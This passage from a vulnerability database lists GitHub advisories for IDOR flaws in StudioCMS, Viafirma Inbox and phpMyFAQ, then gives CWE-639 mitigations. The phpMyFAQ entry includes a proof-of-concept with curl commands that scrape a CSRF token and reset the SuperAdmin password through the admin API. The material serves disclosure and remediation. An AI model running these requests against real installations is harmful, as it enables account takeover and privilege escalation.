"type": "CVSS_V3"
}
],
"summary": "StudioCMS REST getUsers Exposes Owner Account Records to Admin Tokens"
}
GHSA-XVH8-9H96-57R8
Vulnerability from github – Published: 2026-01-12 15:30 – Updated: 2026-01-27 21:31IDOR vulnerability has been found in Viafirma Inbox v4.5.13 that allows any authenticated user without privileges in the application to list all users, access and modify their data. This allows the user's email addresses to be modified and, subsequently, using the password recovery functionality to access the application by impersonating any user, including those with administrative permissions.
{
"affected": [],
"aliases": [
"CVE-2025-41077"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-12T15:16:03Z",
"severity": "HIGH"
},
"details": "IDOR vulnerability has been found in Viafirma Inbox v4.5.13 that allows any authenticated user without privileges in the application to list all users, access and modify their data. This allows the user\u0027s email addresses to be modified and, subsequently, using the password recovery functionality to access the application by impersonating any user, including those with administrative permissions.",
"id": "GHSA-xvh8-9h96-57r8",
"modified": "2026-01-27T21:31:39Z",
"published": "2026-01-12T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41077"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-viafirma-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XVP4-PHQJ-CJR3
Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:19Summary
An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:
[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]
public function overwritePassword(Request $request): JsonResponse
{
$this->userHasUserPermission(); // Only checks if user has USER_EDIT permission
$currentUser = CurrentUser::getCurrentUser($this->configuration);
$data = json_decode($request->getContent());
$userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // User-controlled!
$csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
$newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
$retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
}
// NO check that $userId belongs to a user the admin should manage
// NO check that target user has lower or equal privileges
// Can overwrite password for ANY user, including SuperAdmin (userId=1)
$currentUser->getUserById((int) $userId, allowBlockedUsers: true);
$authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
if (hash_equals($newPassword, $retypedPassword)) {
if (!$currentUser->changePassword($newPassword)) {
return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
}
$this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
return $this->json(['success' => ...], Response::HTTP_OK);
}
}
Root Causes:
- No verification that the requesting admin has permission to modify the target user's password
- No check that the target user has equal or lower privilege level
- The userId is taken directly from the request body without authorization context
- No multi-factor confirmation for privilege-escalating password changes
PoC
Prerequisites: Authenticated admin session with USER_EDIT permission
Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).
Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:
curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'
Step 3 - Change SuperAdmin Password:
curl -X PUT -H "Content-Type: application/json" \
-b "PHPSESSID=admin_session" \
-d '{
"userId": 1,
"csrf": "admin_csrf_token_value",
"newPassword": "NewSuperAdminP@ss123!",
"passwordRepeat": "NewSuperAdminP@ss123!"
}' \
http://target/admin/api/user/overwrite-password
Response: {"success":"The password was successfully changed."}
Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.
Who is Impacted:
- Organizations with multiple admin users where not all should have SuperAdmin access
- Any phpMyFAQ instance where privilege separation is configured
- Multi-tenant environments where users should only manage their own accounts
Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission
Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35671"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-269",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:46:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ\u0027s Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user\u0027s ID in the API request body.\n\n### Details\nFile: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php\nLines: 232-271\nThe overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:\n#[Route(path: \u0027user/overwrite-password\u0027, name: \u0027admin.api.user.overwrite-password\u0027, methods: [\u0027PUT\u0027])]\n```php\npublic function overwritePassword(Request $request): JsonResponse\n{\n $this-\u003euserHasUserPermission(); // Only checks if user has USER_EDIT permission\n $currentUser = CurrentUser::getCurrentUser($this-\u003econfiguration);\n $data = json_decode($request-\u003egetContent());\n $userId = Filter::filterVar($data-\u003euserId, FILTER_VALIDATE_INT); // User-controlled!\n $csrfToken = Filter::filterVar($data-\u003ecsrf, FILTER_SANITIZE_SPECIAL_CHARS);\n $newPassword = Filter::filterVar($data-\u003enewPassword, FILTER_SANITIZE_SPECIAL_CHARS);\n $retypedPassword = Filter::filterVar($data-\u003epasswordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);\n if (!Token::getInstance($this-\u003esession)-\u003everifyToken(page: \u0027overwrite-password\u0027, requestToken: $csrfToken)) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_UNAUTHORIZED);\n }\n // NO check that $userId belongs to a user the admin should manage\n // NO check that target user has lower or equal privileges\n // Can overwrite password for ANY user, including SuperAdmin (userId=1)\n $currentUser-\u003egetUserById((int) $userId, allowBlockedUsers: true);\n $authSource-\u003egetEncryptionContainer($currentUser-\u003egetAuthData(key: \u0027encType\u0027));\n if (hash_equals($newPassword, $retypedPassword)) {\n if (!$currentUser-\u003echangePassword($newPassword)) {\n return $this-\u003ejson([\u0027error\u0027 =\u003e ...], Response::HTTP_BAD_REQUEST);\n }\n $this-\u003eadminLog-\u003elog($this-\u003ecurrentUser, AdminLogType::USER_CHANGE_PASSWORD-\u003evalue . \u0027:\u0027 . $userId);\n return $this-\u003ejson([\u0027success\u0027 =\u003e ...], Response::HTTP_OK);\n }\n}\n```\n\n### Root Causes:\n1. No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n -b \"PHPSESSID=admin_session\" \\\n -d \u0027{\n \"userId\": 1,\n \"csrf\": \"admin_csrf_token_value\",\n \"newPassword\": \"NewSuperAdminP@ss123!\",\n \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n }\u0027 \\\n http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",
"id": "GHSA-xvp4-phqj-cjr3",
"modified": "2026-05-28T14:19:40Z",
"published": "2026-05-20T15:46:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-xvp4-phqj-cjr3"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: IDOR Account Takeover "
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.